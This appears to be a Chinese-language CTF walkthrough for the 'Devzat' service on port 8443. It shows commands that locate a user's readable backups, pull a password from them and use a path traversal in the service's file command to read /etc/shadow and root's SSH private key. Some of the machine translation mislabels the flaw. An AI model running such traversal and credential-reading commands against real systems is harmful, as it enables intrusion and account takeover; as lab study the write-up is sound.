> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/devzat-8443.md).
# Devzat - 8443
Devzat 文件参数滥用、备份发现、路径遍历、shadow 文件读取和 root SSH 密钥访问。
### 端口 8443（Devzat - 生产环境）
8443 端口暴露了一个生产环境的 Devzat 实例。该 `文件` 参数可以以 root 身份列出系统上的文件，但此功能受密码保护。
正在尝试 *catherine*的密码失败。查找那些 *catherine* 可以在系统上读取的文件。
### 搜索 Catherine 可读取的文件
找出所有可由 *catherine*:
```bash
find / -user catherine -readable 2>/dev/null | grep -vE "cgroup|proc"
```
找到了两个备份 `.zip` 文件：
* `/var/backups/devzat-main.zip`
* `/var/backups/devzat-dev.zip`
下载备份文件 `devzat-dev.zip` 并过滤其中的密码。找到一个有用的密码： **`CeilingCatStillAThingIn2021?`**.
使用此密码访问 `/etc/shadow` 通过 `文件` 参数存在开放重定向漏洞：
```bash
/file /etc/shadows CeilingCatStillAThingIn2021?
```
尽管密码正确， **路径遍历** 仍需要获得完全访问权限。使用遍历来浏览文件系统：
```bash
/file ../../../../etc/shadow CeilingCatStillAThingIn2021?
```
该 `/etc/shadow` 文件已成功以 root 身份显示。
### 以 root 身份进行 SSH 访问
使用额外的路径遍历来访问 root 的 SSH 密钥：
```bash
/file ../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021?
```
下载 SSH 密钥并以 root 身份登录。
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